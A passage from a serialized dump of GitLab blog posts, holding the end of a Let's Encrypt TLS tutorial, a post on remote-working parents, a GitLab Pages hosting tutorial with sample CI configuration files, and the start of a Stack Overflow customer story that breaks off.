the user types\nthat same URL, the website will have to redirect him/her again.\n\n## Wrap up\n\n![a working certificate screenshot](https://about.gitlab.com/images/blogimages/working-certificate-screenshot.png)\n\nThat's how easy it is to have a free HTTPS-enabled website.\nWith these tools, I see no reason not to do it.\n\nIf you want to improve GitLab's support for Let's Encrypt, you can\ndiscuss and contribute in issues [#474][issue474], [#467][issue467] and\n[#472][issue472] from GitLab EE. They are open to merge requests!\n\nThere's an [excellent talk][talk] by [Pierre Far][pierretwitter] and\n[Ilya Grigorik][ilyatwitter] on HTTPS where you can learn more\nabout it.\n\nIf you want to check the status of your HTTPS enabled website,\n[SSL Labs offers a free online service][ssltest] that\n\"performs a deep analysis of the configuration of any SSL web server on the\npublic Internet\".\n\nThis article is based on [Paul Wakeford's post][wakeford].\n\nI hope it helps you :)\n\n[Create a project]: https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project\n[Jekyll]: https://jekyllrb.com/\n[examplepages]: https://gitlab.com/groups/pages\n[pagesdocs]: http://doc.gitlab.com/ee/pages/README.html#getting-started-with-gitlab-pages\n[TLSwiki]: https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_1.0\n[letsencrypt]: https://letsencrypt.org/\n[wakeford]: https://www.paulwakeford.info/2015/11/24/letsencrypt/\n[publicbeta]: https://letsencrypt.org/2015/12/03/entering-public-beta.html\n[ssltest]: https://www.ssllabs.com/ssltest/\n[middleattack]: https://en.wikipedia.org/wiki/Man-in-the-middle_attack\n[talk]: https://www.youtube.com/watch?v=cBhZ6S0PFCY\n[relativeprotocol]: http://www.paulirish.com/2010/the-protocol-relative-url/\n[jekyllversion]: https://jekyllrb.com/docs/upgrading/2-to-3/#permalinks-no-longer-automatically-add-a-trailing-slash\n[letsencryptwindows]: https://cultiv.nl/blog/lets-encrypt-on-windows/\n[customdomain]: http://doc.gitlab.com/ee/pages/README.html#add-a-custom-domain-to-your-pages-website\n[certificateauthority]: https://en.wikipedia.org/wiki/Certificate_authority\n[limitation]: http://doc.gitlab.com/ee/pages/README.html#limitations\n[issue474]: https://gitlab.com/gitlab-org/gitlab-ee/issues/474\n[issue472]: https://gitlab.com/gitlab-org/gitlab-ee/issues/472\n[issue467]: https://gitlab.com/gitlab-org/gitlab-ee/issues/467\n[pierretwitter]: https://twitter.com/pierrefar\n[ilyatwitter]: https://twitter.com/igrigorik\n",{"slug":38403,"featured":6,"template":678},"tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt","content:en-us:blog:tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt.yml","Tutorial Securing Your Gitlab Pages With Tls And Letsencrypt","en-us/blog/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt.yml","en-us/blog/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt",{"_path":38409,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38410,"content":38416,"config":38420,"_id":38422,"_type":16,"title":38423,"_source":17,"_file":38424,"_stem":38425,"_extension":20},"/en-us/blog/remote-working-parents",{"title":38411,"description":38412,"ogTitle":38411,"ogDescription":38412,"noIndex":6,"ogImage":38413,"ogUrl":38414,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38414,"schema":38415},"What’s It Like to Be a Working Parent at GitLab?","In this post, we’re giving you a view into our experiences of remote working as parents.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684745/Blog/Hero%20Images/crayons-kids.jpg","https://about.gitlab.com/blog/remote-working-parents","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What’s It Like to Be a Working Parent at GitLab?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-04-08\",\n      }",{"title":38411,"description":38412,"authors":38417,"heroImage":38413,"date":38418,"body":38419,"category":6634},[711],"2016-04-08","\n\nYou might be aware that a fair percentage of the GitLab team are parents, and\nwe all work remotely.\nNot only are we a [remote-first] company we recently affirmed our dedication\nby changing this declaring we are a \"remote only\" company.\nWe believe that remote working is the way forward, when it’s done right.\n\nIn this post, we’re giving you a view into our experiences of remote working\nas parents—we even asked members of team to chime in with their thoughts.\nWhile there’s no “typical” day in the life of the GitLab employee, there were a\nlot of similarities in what people find great and challenging about remote working.\n\n\u003C!-- more -->\n\n## The Biggest Benefit: Family Time!\n\nWe’re very family-oriented here at GitLab (of course I say here meaning all\nover the world) When we asked our team why they like working remotely, the\nthing that came up first and foremost was that people get to spend more time\nwith their kids and partners. It’s simple, really: when you don’t need to\nspend two or more hours a day commuting, that’s two hours you can spend being\nwith your family, or recharging so that you’re in better form for your family.\n\n“I eat together with my son every day,” says Pablo, an Operations lead who works\nfrom his home in Dublin, something not a lot of dads get to do during the day.\n\nLuke, GitLab designer and new dad in Colorado Springs, can share flexible\nparenting hours with his wife, a nurse who works long shifts. “We don’t have to\nsend our daughter to daycare,” says Luke, which has financial benefits as well,\n“and I have the flexibility to take breaks throughout the day with my family.\nIt’s awesome.”\n\n## That’s another big benefit: Flexibility.\n\n“The flexibility makes family life exponentially easier,” says Haydn, from our\nSales team, “which reduces stress and makes you more productive and motivated.\nYou can’t put a dollar value on it – it’s priceless.”\n\nBalancing everything in one space, while challenging, is something you can get\ngood at pretty quickly. Zeger-Jan, a student CS in Utrecht, finds that being a\nstudent, parent, and remote employee work well together—thanks in part to\nasynchronous communication, ie. using Issues and email whenever possible, so\npeople can get to things when it makes sense.\n\n## Oh, yeah, and don’t forget: Productivity.\n\nContrary to what it might seem like,\n[productivity is shown to increase][productivity] when you take people out of\nthe office setting. Our team agrees. “Working at GitLab has increased my\nproductivity at work,” says Chad (GitLab CRO based in Sacramento, California),\n“as I’m not spending time commuting, and the hours I focus on work increases—but\nso does the time I’m able to spend with my family. Win-win for all.”\n\n## But, there are some challenges.\n\nA lot of the challenges, we found from talking with our team, come from a lack\nof boundaries, something you don’t really have to think about when you work\noutside the home; for most people who do, work stays at work.\nIt can be a little too easy, says Richard (in Bath, England), “to spend time\nworking when I should be blocking off quality time with my children.\nMy son often says ‘Daddy is always on call when I come home from school.’”\n\nIn other words, it can be distracting to have work near your family life\nand family near your work life.\nAlso, if the other partner works outside the home, they might unconsciously\nexpect the home-working parent to do things in the house during the day, which\ncan lead to, ehm—tension.\n\nAnd it works the other way, too: for those who intentionally combine working\nand being a parent, things can get logistically complicated. New dad Luke says\nit can be difficult at times to schedule meetings around feeding times, for\nexample, and “of course poopy diapers, upset tummies, and spit up often\ninterrupt my day,” but “it sure beats commuting to an office every day, and\nbeing away from my family.” Well said.\n\nHow do our working parents deal with the challenges?\n\n## It’s all about creating boundaries.\n\nFirst of all, mark off some space. If you can’t create a home office, sometimes\nyou might just have to go somewhere. “I often head out of the home to a nearby\ncafé or co-working space,” says Heather. Co-locate with colleagues if you have\nany nearby, or if you have friends who also work remotely, share a space.\n\nBoundaries help with distractions, too. Set your mobile phone aside for certain\nhours of the day, [eliminate social media-type distractions][focus], shut the\noffice door, put in earphones, and make sure your family knows that between the\nhours of this and that, you’re only reachable in case of emergencies.\nIf your spouse consciously or unconsciously expects you to get things done,\nhave that conversation and ask them to not think of you as being “home.”\n\n## Basically though, parenting as a remote employee is awesome.\n\nWe think it’s important to trust our team to get their jobs done on their own\nsteam, and we’re fine if that incorporates a good bit of home-life in the mix.\nIt’s even [in our handbook][handbook] that GitLab employees should feel free to\ninclude pets, kids, partners, and family around during video calls if they want\nto pop in and say hello!\n\nWe also try to do things to make our team’s remote work experience comfortable\nand seamless where we can, like paying for height-adjustable desks, ergonomic\nchairs, Internet (of course), mobile phone, video calling credit, and even\noffice space if they need it. This is well worth our while, because it means\nour team members are happy and productive.\n\n## Are you a remote-working parent?\n\nWhat benefits do you find? What do you do to manage the challenges?\n\nWant to leave a comment or ask us something? Feel free! Catch us here or\n[tweet to us][twitter].\n\n[remote-first]: https://zachholman.com/posts/remote-first/\n[productivity]: http://www.inc.com/christina-desmarais/want-productive-employees-let-some-of-them-work-from-home.html\n[handbook]: /handbook/communication\n[focus]: http://thewritelife.com/10-concentration-apps-that-will-help-you-get-down-to-business/\n[twitter]: http://twitter.com/GitLab\n",{"slug":38421,"featured":6,"template":678},"remote-working-parents","content:en-us:blog:remote-working-parents.yml","Remote Working Parents","en-us/blog/remote-working-parents.yml","en-us/blog/remote-working-parents",{"_path":38427,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38428,"content":38434,"config":38438,"_id":38440,"_type":16,"title":38441,"_source":17,"_file":38442,"_stem":38443,"_extension":20},"/en-us/blog/gitlab-pages-setup",{"title":38429,"description":38430,"ogTitle":38429,"ogDescription":38430,"noIndex":6,"ogImage":38431,"ogUrl":38432,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38432,"schema":38433},"Hosting on GitLab.com with GitLab Pages","Learn how to host your website on GitLab.com with GitLab Pages","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671069/Blog/Hero%20Images/gitlab-pages-setup-cover.jpg","https://about.gitlab.com/blog/gitlab-pages-setup","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Hosting on GitLab.com with GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-04-07\",\n      }",{"title":38429,"description":38430,"authors":38435,"heroImage":38431,"date":38436,"body":38437,"category":734},[34953],"2016-04-07","\nIn this article we provide you with detailed information about using [GitLab Pages][pages] to\nhost your website for free on [GitLab.com][sign-up].\n\nWe've prepared a step-by-step tutorial on creating a new project for GitLab Pages so you won't get lost in the process.\n\nGitLab Pages supports [static websites][wiki-static-websites] and builds **any** [Static Site Generator (SSG)][SSGs],\nsuch as [Jekyll], [Hugo], [Hexo], [Middleman] and [Pelican].\n\nWe are assuming that you are familiar with [Git][git] and with the web development process, from creation to publishing.\n\n\u003C!-- more -->\n\n----------\n\n### What's in this tutorial?\n{: .no_toc}\n\n- TOC\n{:toc}\n\n----\n\n## Getting Started\n\nThere are two ways of getting started with GitLab Pages: either you fork an existing project, or you create a new one for yourself.\n\nOn the [GitLab Pages Quick Start Guide][pages], which is, by the way, a site built with [Middleman],\nyou will find the steps for forking an existing project from a list of examples prepared for you.\nThere are some popular SSGs, like Jekyll, Hugo, Hexo, Brunch, etc.\n\nHowever, if you want to understand the process of creating a new project from scratch, this post is for you.\n\nOn the official documentation you can learn about [GitLab Pages][pages-work], but here we will focus on the **steps**\nfor creating your own project.\n\n**Note:** [GitLab Pages was introduced in GitLab EE 8.3][pages-introduced].\nIt is available for [GitLab.com][sign-up] and [GitLab Enterprise Edition][gitlab-ee] users.\nUpdate: [GitLab 8.17](/releases/2017/02/22/gitlab-8-17-released/#gitlab-pages-in-community-edition)\nbrought GitLab Pages to GitLab Community Edition! Enjoy!\n{: .note}\n\n## Website Types\n\nIn general, you are allowed to create and host two sorts of websites with GitLab Pages:\n\n1. User/Group Websites - a single site per user or group\n1. Project Websites - as many sites you want\n\nYou can find out more about them on the [docs][pages-work].\n\n### A note regarding GitLab Groups and Namespaces\n{: #group-websites}\n\nCreating a [group][doc-groups] on GitLab is very useful when you have several projects with the same subject.\nA group has its own **namespace**, which is unique for each group (and for each user).\n\nThe important matter is, when you create your account on GitLab, it's better to choose a username for\nyourself as a person, not as a company. You can create your \"company username\" later, as a group\nnamespace. For example, let's say your name is \"John Doe\" and your company is called \"Foo Main\".\nFirst, register yourself as `johndoe` and later create a group called Foo Main within the namespace of\n`foomain`. This will allow you to separate your personal projects from your company ones.\n\nIf you follow this tip, you will be able to access your personal site under `https://username.gitlab.io`\nand your company site under `https://groupname.gitlab.io`.\n\n## About GitLab CI for GitLab Pages\n{: #gitlab-ci}\n\nThe key to having everything up and running as expected is the [**GitLab CI** configuration file][doc-ciconfig], called `.gitlab-ci.yml`.\n\nThis file [configures][ee-yaml-ci] how your website will be built by a _[Runner][doc-config-runners]_.\nIt is written in [YAML], which has its own syntax, so we recommend you\nfollow this [quick start guide] before setting it up.\nIt needs to be placed at your root directory.\n\nThe most important fact is that with [GitLab CI](/solutions/continuous-integration/), **you** take control over your builds.\nThey won't be in an invisible black box where you don't know what is going on!\nYou can actually **see** any build running live by navigating to your project's **Pipelines > Builds > Build ID**.\nYou can also add any command to your script. This is far beyond useful as it allows you to do\npretty much anything you do on your local machine!\n\nFor example, you can add any [Jekyll Plugin] to your Jekyll site,\nyou can require any `gem` you need in your `Gemfile`, run `npm`, run `bundle` and much more.\nBottom line, it's as handy as having your own command line on your GitLab UI.\n\nAdditionally, you can have a distinct `.gitlab-ci.yml` for each repository - even for each branch.\nThis means you can test your script in parallel branches before pushing to your `main` branch.\nIf the build succeeds, you merge. If it doesn't, you can make adjustments and try building\nagain without messing up your `main` branch.\n\nBefore you push any `.gitlab-ci.yml` to your project, you can\nvalidate its syntax with the tool called [CI Lint][ci-lint].\nYou need to be logged into your account to have access to this tool.\nIt's found by navigating to your project's **Pipelines**: there is a button at the top-right of your screen.\n\n![CI-Lint](https://about.gitlab.com/images/blogimages/gitlab-pages/gitlab-ci-lint.png)\n\nYou can read through the [full documentation for `.gitlab-ci.yml`][ee-yaml-ci] for more information.\n\n## Creating new GitLab Pages projects\n{: #creating-new-pages-projects}\n\nHere is an overview of the steps we'll take, assuming you already have your GitLab.com account:\n\n1. Create a new project\n1. Add the configuration file (`.gitlab-ci.yml`)\n1. Upload your website content\n1. Add your custom domain _(optional)_\n1. Done!\n\n## Step-by-step\n\nNow we will go through this process step-by-step. Update: watch the video tutorial on\n[How to Publish a Website with GitLab Pages on GitLab.com from a forked project](https://youtu.be/TWqh9MtT4Bg)!\n\n### Step 1: Create a new project\n{: #creating-new-project}\n\nThis is as straight-forward as you can imagine:\n\n- On your **dashboard** you will see a big green button called **+ New Project**. Click on it.\n- Set the first things up:\n   - **Project path** - your project's name, accessed via `https://gitlab.com/namespace/projectname`\n   - **Privacy** - choose if you want your project to be visible and accessible just for you (`private`),\n   just for GitLab.com users (`internal`) or free to anyone to view, clone, fork and download it (`public`)\n\n**Note**: you can host your website on [GitLab.com][gitlab-com] even if it is stored in a private repository.\nIf you do so, you can have your project protected - only the static site will be visible\nto the public - via \"Inspect Element\" or \"View-Source\" from their web browsers.\n{: .note}\n\n### Step 2: Add the configuration file: `.gitlab-ci.yml`\n{: #add-gitlab-ci}\n\nNow we can have some fun! Let's tell GitLab CI how to build the site.\nYou will see a few examples below (options A, B, and C) to understand how they work.\n\n### Option A: GitLab CI for plain HTML websites\n{: .no_toc}\n\nIn order to build your [plain HTML site][pages-ci-html] with GitLab Pages,\nyour `.gitlab-ci.yml` file doesn't need much:\n\n```yaml\npages:\n  stage: deploy\n  script:\n  - mkdir .public\n  - cp -r * .public\n  - mv .public public\n  artifacts:\n    paths:\n    - public\n  only:\n  - main\n```\n\nWhat this code is doing is creating a _[job][doc-jobs]_ called _[pages][doc-contents-ciconfig]_\ntelling the _[Runner][doc-shared-runners]_ to _[deploy][doc-stages]_ the website _[artifacts][doc-artifacts]_\nto a _[public path][doc-contents-ciconfig]_,\nwhenever a commit is pushed _[only][doc-only]_ to the `main` branch.\n\nAll pages are created after the build completes successfully\nand the artifacts for the pages job are uploaded to GitLab.\n\n### Option B: GitLab CI for Jekyll websites\n{: .no_toc}\n\nJekyll is so far the most popular [Static Site Generator (SSG)][SSGs] available, that's why we'll use it as a first example\nfor configuring our GitLab CI. On the next section you'll find more [examples](#examples) for SSGs already tested with GitLab Pages.\n\nJekyll is written in [Ruby] and generates static blog-aware websites.\nBlog-aware means a website generator will create blog-style content, such as lists of\ncontent in reverse chronological order, archive lists, and\nother common blog-style features.\n\nWe can write dynamically with [Liquid], [Markdown] and [YAML] and\nJekyll builds the static site (HTML, CSS, JS) for us.\nYou will find the same functionality for every SSG,\nyet each of them uses its own environment, template system, markup language, etc.\n\nIf you want GitLab Pages to [build your Jekyll website][pages-ci-jekyll],\nyou can start with the simple script below:\n\n```yaml\nimage: ruby:2.1\n\npages:\n  script:\n  - gem install jekyll\n  - jekyll build -d public/\n  artifacts:\n    paths:\n    - public\n  only:\n  - main\n```\n\nThis code requires the _[script][doc-script]_ to run on\nthe _[environment][doc-images]_ of [Ruby] 2.1.x,\ninstalls the Jekyll gem, and builds the site\nto the _[public path][doc-contents-ciconfig]_.\nThe result affects _[only][doc-only]_ the main branch.\nFor building a regular Jekyll site, you can just\ncopy this code and paste it into your `.gitlab-ci.yml`.\n\nIf you are familiar with Jekyll, you will probably want to use [Bundler] to build your Jekyll site.\nWe've prepared an [example][jekyll-proj] for that. Also, if you want to use a specific Jekyll version, you can\nfind an [example][jekyll-253-example] in the [Jekyll Themes][jekyll-examples]\ngroup I set up for the purposes of this post.\nAnd of course, since you are the one who controls how GitLab CI builds your site,\nyou are free to use any [Jekyll Plugins][Jekyll Plugin]. _Yep!_\n\n### Option C: GitLab CI for Hexo websites\n{: .no_toc}\n\nLet's see another example. [Hexo] is a powerful blog-aware framework built with [NodeJS][node],\na server-side JavaScript environment based on [Google V8] high-performance engine.\n\nTo build our Hexo site, we can start with this `.gitlab-ci.yml`:\n\n```yaml\nimage: node:4.2.2\n\npages:\n  cache:\n    paths:\n    - node_modules/\n\n  script:\n  - npm install hexo-cli -g\n  - npm install\n  - hexo deploy\n  artifacts:\n    paths:\n    - public\n  only:\n    - main\n```\n\nNote that the [Docker image][node-422] we require is `node:4.2.2`.\nWe are archiving `npm` modules into the `cache`, installing `hexo-cli` and deploying\nour `hexo` site to the default `public` directory, uploaded to GitLab as `artifacts`.\nThe `pages` job is `only` affecting the `main` branch.\n\nOn the [Pages][ci-examples] group you will find a default [Hexo site][pages-hexo]\ndeployed with GitLab Pages, and on [this group][themes-templates], another [example][hexo-proj]\nwith a slightly different configuration.\n\n### Step 3: Upload your website content\n{: #upload-content}\n\nPush the content to your remote project and keep an eye on the build!\n\n**Don't forget:** when you are using GitLab Pages with a Static Site Generator,\ndo not upload the directory which your SSG generated locally,\notherwise you'll have duplicated contents and you might face build errors.\nFor example, do not commit the `_site` directory ([Jekyll]) or the `build` directory\n([Middleman]) or the `public` directory ([Hexo]). You can do this automatically by adding\nthem to a `.gitignore` file, placed at your project's root directory.\n\nE.g., if you are building a Jekyll site, your `.gitignore` will have this line:\n\n```\n_site\n```\n\nA `.gitignore` is very useful to avoid uploading to your remote repository any file or folder within your project.\nIf you want to know more about it, check the [`.gitignore` official docs][git-docs-gitignore].\n\n### Step 4: Add your custom domain\n{: #custom-domains}\n\n**Note:** Custom CNAMEs with TLS support were introduced in [GitLab EE 8.5][EE-85].\n{: .note}\n\nIf you want, you are free to [add your own domain(s) name][pages-custom-domain] to your website hosted by GitLab.com.\n\nIt's not required though, you can always use the standard\n[GitLab Pages default domain names](https://docs.gitlab.com/ee/user/project/pages/getting_started_part_one.html#gitlab-pages-default-domain-names).\n\n_Features_\n\n- Besides including your own domain, you can add your custom **subdomain** to your GitLab Pages project (e.g., `subdomain.example.com`)\n- You can enter more than one domain alias **per project** (e.g., `example.com`,\n`example.net` `my.example.org` and `another-example.com` pointing to your project under `mynamespace.gitlab.io` or\n`mynamespace.gitlab.io/myproject`). A domain alias is like having multiple front doors to one location.\n- If you want to enable an HTTPS secure connection to your domains, you can affix your own SSL/TLS digital\ncertificate to **each** custom domain or subdomain you've added to your projects.\n\n_Steps to set up a custom domain_\n\n- From your project's dashboard, go to **Settings** (\u003Ci class=\"fas fa-cog\" aria-hidden=\"true\">\u003C/i>) **> Pages > New Domain**\n- Add your domain to the first field: `mydomain.com`\n- If you have an SSL/TLS digital certificate and its key, add them to their respective fields.\nIf you don't, just leave the fields blank.\n- Click on **Create New Domain**.\n- Finally, access your domain control panel and create a new [DNS `A` record][dns-A] pointing\nto the [IP of GitLab Pages server][pages-settings]:\n\n```\nmydomain.com A 35.185.44.232\n```\n\n**Note:** This GitLab Pages IP address for GitLab.com changed from `52.167.214.135` to `35.185.44.232` in August 2018.\n{:.note}\n\nAlternatively, a similar procedure can be applied for **custom subdomains**:\n\n- Add the subdomain to the first field: `subdomain.mydomain.com`\n\n- Then create a new [DNS `CNAME` record][dns-cname] pointing to `myusername.gitlab.io`:\n\n```\nsubdomain.mydomain.com CNAME myusername.gitlab.io\n```\n\nRepeat these steps for any additional domain aliases.\n\nNote that how you set up your DNS records will depend upon which company you\nused to register your domain name. Every company has its own methods for DNS Zone Management.\nOn this link you can find an [overview for some providers][dns-zone-examples],\nit might help you to follow through. Please contact your provider directly if you need some extra help.\n\nOrdinarily, DNS propagation needs some time to take effect, so don't worry if you can't access your\nwebsite under your custom domain instantaneously. Wait a few minutes and check it again.\n\n## Examples\n\nCheck out the [Pages][ci-examples] official group for a list of example projects,\nwhere you can explore some good options for Static Site Generators for Ruby, NodeJS and Python environments.\nYou can also find more specific examples on the following groups, which I prepared for the purposes of this post:\n\n- [Jekyll Themes][jekyll-examples] (Ruby/Jekyll)\n- [Middleman Themes][middle-examples] (Ruby/Middleman)\n- [Themes and Templates][themes-templates] (Miscellaneous)\n- [HTML Themes][html-examples] (plain HTML)\n\n**Note:** these themes, templates and SSGs were casually chosen and listed on this\npost to provide you with some distinct GitLab CI configurations.\n{: .note}\n\n## FAQ\n\n### Is all of this really free to use?\n{: .no_toc}\n\nYes, it is! On [GitLab.com][sign-up] you can create your free account\nand enjoy all its [features][gitlab-com], including unlimited private repositories,\nprojects, websites, and contributors. Also, you'll have 10GB disk space per project, [1GB per Pages artifacts][pages-settings],\nand unlimited total disk space. Awesome, isn't it? Why don't you take a peek at the [public projects][explore]?\n\n### Where is the `public` folder?\n{: .no_toc}\n\nWhen a build succeeds, you'll find your static site at your project's **Pipelines > Builds > Build ID > Browse**.\nYou can download the artifacts from the same screen.\n\n![Build Artifacts - Browse or Download](https://about.gitlab.com/images/blogimages/gitlab-pages/gitlab-browse-download-artifacts.png)\n\n### Can I really use any Static Site Generator?\n{: .no_toc}\n\nYes, you can use any [Static Site Generator][SSGs] available.\n\n### Can I use free SSL/TLS digital certificates?\n{: .no_toc}\n\nYes, absolutely! Need a suggestion? Try [Let's Encrypt][lets-encrypt] or [Cloudflare].\n\n### Can I contribute to the themes?\n{: .no_toc}\n\nSure! You are very welcome to contribute to the groups mentioned above.\nTo do that, please set your website up and make sure it's working as you expected.\nThen, add an issue to the [group](#examples) you're interested in. Don't forget to include a link to your project.\nAfter a brief evaluation, we'll be glad to fork your project and present your theme to our community!\n\n### Can I use `.php` pages and connect databases with my sites?\n{: .no_toc}\n\nNo. GitLab Pages hosts static websites only (HTML, CSS and JS).\n\n## Getting Help\n\nIf you need some help regarding GitLab Pages on GitLab.com,\nfeel free to use one of [our channels][get-help]. You can also open an issue on the [Pages][pages-issues] group.\n\n\u003Ca name=\"conclusions\">\u003C/a>\n\n## Conclusion\n{: #conclusions}\n\nHopefully now you understand how **[GitLab Pages][pages]** works and how to create your new site.\n\nFollow [@GitLab][twitter] on Twitter and stay tuned for updates!\n\nWe're looking forward to seeing your sites!\n\n**Note:** this post has been updated (June 17th, 2016) to match the new GitLab UI.\n{: .note}\n\n## About guest author Marcia Ramos\n{: .no_toc}\n\n[Marcia](https://gitlab.com/marcia) is a backend web developer specialized in WordPress and Jekyll sites at [Virtua Creative],\nthough she does some frontend too. Her daily work is based on version-controlled systems for almost 15 years.\nShe is driven by her thirst for knowledge and her eagerness to continuously expand her horizons.\nWhen she is not coding, she is writing articles, studying, teaching or contributing to open source projects here and there.\nUpdate: she's joined the [GitLab Team] in May, 2016.\n\n[doc-artifacts]: http://doc.gitlab.com/ee/ci/yaml/README.html#artifacts\n[doc-ciconfig]: http://doc.gitlab.com/ee/ci/quick_start/README.html#creating-a-.gitlab-ci.yml-file\n[doc-config-runners]: http://doc.gitlab.com/ee/ci/quick_start/README.html#configuring-a-runner\n[doc-contents-ciconfig]: http://doc.gitlab.com/ee/pages/README.html#explore-the-contents-of-.gitlab-ci.yml\n[doc-groups]: http://doc.gitlab.com/ee/workflow/groups.html\n[doc-images]: http://doc.gitlab.com/ee/ci/yaml/README.html#image-and-services\n[doc-jobs]: http://doc.gitlab.com/ce/ci/yaml/README.html#jobs\n[doc-only]: http://doc.gitlab.com/ee/ci/yaml/README.html#only-and-except\n[doc-runners]: http://doc.gitlab.com/ee/ci/runners/README.html#sts=Runners\n[doc-script]: http://doc.gitlab.com/ee/ci/yaml/README.html#script\n[doc-shared-runners]: http://doc.gitlab.com/ee/ci/quick_start/README.html#shared-runners\n[doc-stages]: http://doc.gitlab.com/ce/ci/yaml/README.html#stages\n[ee-yaml-ci]: http://doc.gitlab.com/ee/ci/yaml/README.html\n[pages]: https://pages.gitlab.io\n[pages-ee]: http://doc.gitlab.com/ee/pages/README.html\n[pages-introduced]: /2016/04/04/gitlab-pages-get-started/\n[pages-issues]: https://gitlab.com/pages/pages.gitlab.io/issues\n[pages-work]: http://doc.gitlab.com/ee/pages/README.html#getting-started-with-gitlab-pages\n[pages-user]: http://doc.gitlab.com/ee/pages/README.html#user-or-group-pages\n[pages-project]: http://doc.gitlab.com/ee/pages/README.html#project-pages\n[pages-ci-html]: http://doc.gitlab.com/ee/pages/README.html#how-.gitlab-ci.yml-looks-like-when-the-static-content-is-in-your-repository\n[pages-ci-jekyll]: http://doc.gitlab.com/ee/pages/README.html#how-.gitlab-ci.yml-looks-like-when-using-a-static-generator\n[pages-custom-domain]: http://doc.gitlab.com/ee/pages/README.html#add-a-custom-domain-to-your-pages-website\n[pages-settings]: https://docs.gitlab.com/ee/user/gitlab_com/#gitlab-pages\n[quick start guide]: http://doc.gitlab.com/ee/ci/quick_start/README.html\n\n[about-gitlab-com]: /\n[ci-lint]: https://gitlab.com/ci/lint \"Try me!\"\n[cname-issue]: https://gitlab.com/gitlab-org/gitlab-ee/issues/134\n[ee-85]: https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/173\n[explore]: https://gitlab.com/explore\n[get-help]: /get-help/\n[gitlab83]: /2015/12/22/gitlab-8-3-released\n[gitlab-com]: /pricing/\n[gitlab-ee]: /features/#enterprise\n[GitLab Team]: /company/team/#XMDRamos\n[sign-up]: https://gitlab.com/users/sign_in \"Sign Up, it's free!\"\n[twitter]: https://twitter.com/gitlab\n\n[Brunch]: http://brunch.io/\n[Bundler]: http://bundler.io/\n[Cloudflare]: /2017/02/07/setting-up-gitlab-pages-with-cloudflare-certificates/\n[Coffee Script]: http://coffeescript.org/\n[dns-A]: https://support.dnsimple.com/articles/a-record/\n[dns-cname]: https://en.wikipedia.org/wiki/CNAME_record\n[dns-zone-examples]: http://docs.businesscatalyst.com/user-manual/site-settings/site-domains/updating-dns-records-with-a-domain-registrar-external-dns\n[git]: https://git-scm.com/about\n[git-docs-gitignore]: https://git-scm.com/docs/gitignore\n[go]: https://golang.org/\n[Google V8]: https://developers.google.com/v8/\n[Harp]: http://harpjs.com/\n[Hexo]: https://hexo.io/\n[Hyde]: http://hyde.github.io/\n[Hugo]: https://gohugo.io/\n[Jekyll]: https://jekyllrb.com\n[Jekyll Documentation]: http://jekyllrb.com/docs/home/\n[Jekyll Plugin]: https://jekyllrb.com/docs/plugins/\n[Lektor]: https://www.getlektor.com/\n[lets-encrypt]: /blog/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt/\n[Liquid]: https://github.com/Shopify/liquid/wiki\n[Markdown]: http://daringfireball.net/projects/markdown/\n[Metalsmith]: http://www.metalsmith.io/\n[Middleman]: https://middlemanapp.com/\n[Nanoc]: https://nanoc.ws/\n[node]: https://nodejs.org/en/\n[node-422]: https://hub.docker.com/_/node/\n[Pelican]: http://blog.getpelican.com/\n[Python]: https://www.python.org/\n[Ruby]: https://www.ruby-lang.org/\n[Sass]: http://sass-lang.com/\n[SSGs]: https://www.staticgen.com/\n[StartSSL]: https://startssl.com/\n[wiki-static-websites]: https://en.wikipedia.org/wiki/Static_web_page\n[YAML]: http://yaml.org/\n[Virtua Creative]: http://virtuacreative.com.br/en/\n\n[ci-examples]: https://gitlab.com/groups/pages\n[html-examples]: https://gitlab.com/groups/html-themes\n[jekyll-examples]: https://gitlab.com/groups/jekyll-themes\n[middle-examples]: https://gitlab.com/groups/middleman-themes\n[themes-templates]: https://gitlab.com/themes-templates\n\n[jekyll-proj]: https://gitlab.com/jekyll-themes/default-bundler\n[jekyll-253-example]: https://gitlab.com/jekyll-themes/carte-noire\n[hexo-proj]: https://gitlab.com/themes-templates/hexo\n[pages-hexo]: https://gitlab.com/pages/hexo\n",{"slug":38439,"featured":6,"template":678},"gitlab-pages-setup","content:en-us:blog:gitlab-pages-setup.yml","Gitlab Pages Setup","en-us/blog/gitlab-pages-setup.yml","en-us/blog/gitlab-pages-setup",{"_path":38445,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38446,"content":38452,"config":38455,"_id":38457,"_type":16,"title":38458,"_source":17,"_file":38459,"_stem":38460,"_extension":20},"/en-us/blog/stack-overflow-support-network",{"title":38447,"description":38448,"ogTitle":38447,"ogDescription":38448,"noIndex":6,"ogImage":38449,"ogUrl":38450,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38450,"schema":38451},"Customer Story: Stack Overflow","In this post we'll look at how Stack Overflow uses GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684759/Blog/Hero%20Images/stack.jpg","https://about.gitlab.com/blog/stack-overflow-support-network","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Story: Stack Overflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-04-07\",\n      }",{"title":38447,"description":38448,"authors":38453,"heroImage":38449,"date":38436,"body":38454,"category":8943},[711],"\n\nIn this post we'll look at how [Stack Overflow] uses GitLab.\n\n\u003C!-- more -->\n\n- 